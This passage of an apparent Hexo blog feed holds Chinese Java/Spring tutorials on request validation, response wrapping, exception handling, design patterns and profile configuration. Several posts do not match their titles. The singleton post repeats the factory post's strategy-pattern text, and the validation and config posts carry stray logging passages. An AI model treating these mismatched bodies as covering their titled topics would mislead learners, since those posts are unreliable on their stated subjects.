@Past</td><td>未来/过去日期</td></tr></tbody></table><p>#</p><h2 id="请求参数校验"><a href="#请求参数校验" class="headerlink" title="请求参数校验"></a>请求参数校验</h2><p>##</p><h2 id="Valid-RequestBody"><a href="#Valid-RequestBody" class="headerlink" title="@Valid + @RequestBody"></a>@Valid + @RequestBody</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CreateUserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 2, max = 20, message = &quot;用户名长度2-20&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 6, message = &quot;密码至少6位&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(value = 1, message = &quot;年龄不能小于1&quot;)</span></span><br><span class="line">    <span class="meta">@Max(value = 150, message = &quot;年龄不能大于150&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer age;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;User&gt; <span class="title function_">createUser</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>##</p><h2 id="Validated-RequestParam-PathVariable"><a href="#Validated-RequestParam-PathVariable" class="headerlink" title="@Validated + @RequestParam / @PathVariable"></a>@Validated + @RequestParam / @PathVariable</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@Validated</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/users/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;User&gt; <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> <span class="meta">@Min(1)</span> Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/users&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;List&lt;User&gt;&gt; <span class="title function_">listUsers</span><span class="params">(</span></span><br><span class="line"><span class="params">            <span class="meta">@RequestParam</span> <span class="meta">@Min(1)</span> <span class="meta">@Max(100)</span> Integer pageSize)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>##</p><h2 id="分组校验"><a href="#分组校验" class="headerlink" title="分组校验"></a>分组校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">CreateGroup</span> &#123;&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UpdateGroup</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotNull(groups = UpdateGroup.class)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(groups = &#123;CreateGroup.class, UpdateGroup.class&#125;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(groups = CreateGroup.class)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@PostMapping</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;User&gt; <span class="title function_">create</span><span class="params">(<span class="meta">@Validated(CreateGroup.class)</span> <span class="meta">@RequestBody</span> UserRequest request)</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@PutMapping</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;User&gt; <span class="title function_">update</span><span class="params">(<span class="meta">@Validated(UpdateGroup.class)</span> <span class="meta">@RequestBody</span> UserRequest request)</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>##</p><h2 id="嵌套校验"><a href="#嵌套校验" class="headerlink" title="嵌套校验"></a>嵌套校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CreateOrderRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank</span></span><br><span class="line">    <span class="keyword">private</span> String orderNo;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Valid</span>  <span class="comment">// 嵌套校验</span></span><br><span class="line">    <span class="meta">@NotEmpty</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;OrderItemRequest&gt; items;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderItemRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank</span></span><br><span class="line">    <span class="keyword">private</span> String skuId;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(1)</span></span><br><span class="line">    <span class="keyword">private</span> Integer quantity;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="自定义校验注解"><a href="#自定义校验注解" class="headerlink" title="自定义校验注解"></a>自定义校验注解</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(&#123;ElementType.FIELD&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Constraint(validatedBy = PhoneValidator.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> Phone &#123;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;手机号格式不正确&quot;</span>;</span><br><span class="line">    Class&lt;?&gt;[] groups() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">    Class&lt;? <span class="keyword">extends</span> <span class="title class_">Payload</span>&gt;[] payload() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PhoneValidator</span> <span class="keyword">implements</span> <span class="title class_">ConstraintValidator</span>&lt;Phone, String&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Pattern</span> <span class="variable">PHONE_PATTERN</span> <span class="operator">=</span> Pattern.compile(<span class="string">&quot;^1[3-9]\\d&#123;9&#125;$&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(String value, ConstraintValidatorContext context)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// @NotNull 处理 null</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> PHONE_PATTERN.matcher(value).matches();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="统一返回值封装"><a href="#统一返回值封装" class="headerlink" title="统一返回值封装"></a>统一返回值封装</h2><p>#</p><h2 id="统一响应结构"><a href="#统一响应结构" class="headerlink" title="统一响应结构"></a>统一响应结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Result</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> Integer code;</span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    <span class="keyword">private</span> T data;</span><br><span class="line">    <span class="keyword">private</span> Long timestamp;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Result</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.timestamp = System.currentTimeMillis();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">success</span><span class="params">(T data)</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(<span class="number">200</span>);</span><br><span class="line">        result.setMessage(<span class="string">&quot;success&quot;</span>);</span><br><span class="line">        result.setData(data);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(Integer code, String message)</span> &#123;</span><br><span class="line">        Result&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">Result</span>&lt;&gt;();</span><br><span class="line">        result.setCode(code);</span><br><span class="line">        result.setMessage(message);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> fail(<span class="number">500</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="全局响应封装"><a href="#全局响应封装" class="headerlink" title="全局响应封装"></a>全局响应封装</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice(basePackages = &quot;com.example.controller&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ResponseAdvice</span> <span class="keyword">implements</span> <span class="title class_">ResponseBodyAdvice</span>&lt;Object&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ObjectMapper objectMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">supports</span><span class="params">(MethodParameter returnType, Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; converterType)</span> &#123;</span><br><span class="line">        <span class="comment">// 只处理返回类型不是 Result 的方法</span></span><br><span class="line">        <span class="keyword">return</span> !returnType.getParameterType().equals(Result.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">beforeBodyWrite</span><span class="params">(Object body, MethodParameter returnType,</span></span><br><span class="line"><span class="params">                                  MediaType selectedContentType,</span></span><br><span class="line"><span class="params">                                  Class&lt;? extends HttpMessageConverter&lt;?&gt;&gt; selectedConverterType,</span></span><br><span class="line"><span class="params">                                  ServerHttpRequest request, ServerHttpResponse response)</span> &#123;</span><br><span class="line">        <span class="comment">// String 类型特殊处理</span></span><br><span class="line">        <span class="keyword">if</span> (body <span class="keyword">instanceof</span> String) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> objectMapper.writeValueAsString(Result.success(body));</span><br><span class="line">            &#125; <span class="keyword">catch</span> (JsonProcessingException e) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.success(body);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="全局异常处理"><a href="#全局异常处理" class="headerlink" title="全局异常处理"></a>全局异常处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(GlobalExceptionHandler.class);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 参数校验异常</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleValidation</span><span class="params">(MethodArgumentNotValidException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(error -&gt; error.getField() + <span class="string">&quot;: &quot;</span> + error.getDefaultMessage())</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">400</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 参数校验异常（@RequestParam/@PathVariable）</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(ConstraintViolationException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleConstraintViolation</span><span class="params">(ConstraintViolationException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getConstraintViolations().stream()</span><br><span class="line">            .map(ConstraintViolation::getMessage)</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">400</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 业务异常</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleBusiness</span><span class="params">(BusinessException e)</span> &#123;</span><br><span class="line">        log.warn(<span class="string">&quot;业务异常: &#123;&#125;&quot;</span>, e.getMessage());</span><br><span class="line">        <span class="keyword">return</span> Result.fail(e.getCode(), e.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 其他异常</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleException</span><span class="params">(Exception e)</span> &#123;</span><br><span class="line">        log.error(<span class="string">&quot;系统异常&quot;</span>, e);</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">500</span>, <span class="string">&quot;系统繁忙，请稍后再试&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="分页结果封装"><a href="#分页结果封装" class="headerlink" title="分页结果封装"></a>分页结果封装</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PageResult</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> List&lt;T&gt; list;</span><br><span class="line">    <span class="keyword">private</span> Long total;</span><br><span class="line">    <span class="keyword">private</span> Integer pageNum;</span><br><span class="line">    <span class="keyword">private</span> Integer pageSize;</span><br><span class="line">    <span class="keyword">private</span> Integer totalPages;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; PageResult&lt;T&gt; <span class="title function_">of</span><span class="params">(PageInfo&lt;T&gt; pageInfo)</span> &#123;</span><br><span class="line">        PageResult&lt;T&gt; result = <span class="keyword">new</span> <span class="title class_">PageResult</span>&lt;&gt;();</span><br><span class="line">        result.setList(pageInfo.getList());</span><br><span class="line">        result.setTotal(pageInfo.getTotal());</span><br><span class="line">        result.setPageNum(pageInfo.getPageNum());</span><br><span class="line">        result.setPageSize(pageInfo.getPageSize());</span><br><span class="line">        result.setTotalPages(pageInfo.getPages());</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><p>#</p><h2 id="1-校验消息统一"><a href="#1-校验消息统一" class="headerlink" title="1. 校验消息统一"></a>1. 校验消息统一</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># messages.properties</span><br><span class="line">javax.validation.constraints.NotBlank.message=&#123;<span class="number">0</span>&#125;不能为空</span><br><span class="line">javax.validation.constraints.Size.message=&#123;<span class="number">0</span>&#125;长度必须在&#123;min&#125;到&#123;max&#125;之间</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-控制器保持简洁"><a href="#2-控制器保持简洁" class="headerlink" title="2. 控制器保持简洁"></a>2. 控制器保持简洁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/users&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Long&gt; <span class="title function_">create</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(userService.create(request));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-异常不暴露内部信息"><a href="#3-异常不暴露内部信息" class="headerlink" title="3. 异常不暴露内部信息"></a>3. 异常不暴露内部信息</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleException</span><span class="params">(Exception e)</span> &#123;</span><br><span class="line">    log.error(<span class="string">&quot;系统异常&quot;</span>, e);  <span class="comment">// 内部记录详细日志</span></span><br><span class="line">    <span class="keyword">return</span> Result.fail(<span class="number">500</span>, <span class="string">&quot;系统繁忙&quot;</span>);  <span class="comment">// 对外返回通用消息</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>方案</th></tr></thead><tbody><tr><td>请求体校验</td><td>@Valid + @RequestBody</td></tr><tr><td>URL 参数校验</td><td>@Validated + @RequestParam</td></tr><tr><td>分组校验</td><td>@Validated(Group.class)</td></tr><tr><td>嵌套校验</td><td>@Valid</td></tr><tr><td>自定义规则</td><td>自定义注解 + Validator</td></tr><tr><td>返回值封装</td><td>ResponseBodyAdvice</td></tr><tr><td>异常处理</td><td>@RestControllerAdvice</td></tr></tbody></table><p>规范的参数校验和返回值封装，是构建高质量 REST API 的基础。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot配置分环境的标准做法</title>
      <link href="//springboot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//springboot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot配置分环境的标准做法"><a href="#SpringBoot配置分环境的标准做法" class="headerlink" title="SpringBoot配置分环境的标准做法"></a>SpringBoot配置分环境的标准做法</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="1-Profile-文件分离"><a href="#1-Profile-文件分离" class="headerlink" title="1. Profile 文件分离"></a>1. Profile 文件分离</h2><p>#</p><h2 id="文件结构"><a href="#文件结构" class="headerlink" title="文件结构"></a>文件结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">src/main/resources/</span><br><span class="line">├── application.yml          # 公共配置</span><br><span class="line">├── application-dev.yml      # 开发环境</span><br><span class="line">├── application-test.yml     # 测试环境</span><br><span class="line">└── application-prod.yml     # 生产环境</span><br></pre></td></tr></table></figure><p>#</p><h2 id="application-yml（公共配置）"><a href="#application-yml（公共配置）" class="headerlink" title="application.yml（公共配置）"></a>application.yml（公共配置）</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span>  <span class="comment"># 默认激活 dev</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">application:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">my-service</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 日志公共配置</span></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">root:</span> <span class="string">INFO</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="application-dev-yml（开发环境）"><a href="#application-dev-yml（开发环境）" class="headerlink" title="application-dev.yml（开发环境）"></a>application-dev.yml（开发环境）</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/dev_db</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">root</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">database:</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开发环境打印 SQL</span></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">com.example.mapper:</span> <span class="string">DEBUG</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="application-prod-yml（生产环境）"><a href="#application-prod-yml（生产环境）" class="headerlink" title="application-prod.yml（生产环境）"></a>application-prod.yml（生产环境）</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://prod-mysql:3306/prod_db</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">$&#123;DB_USERNAME&#125;</span></span><br><span class="line">    <span class="attr">password:</span> <span 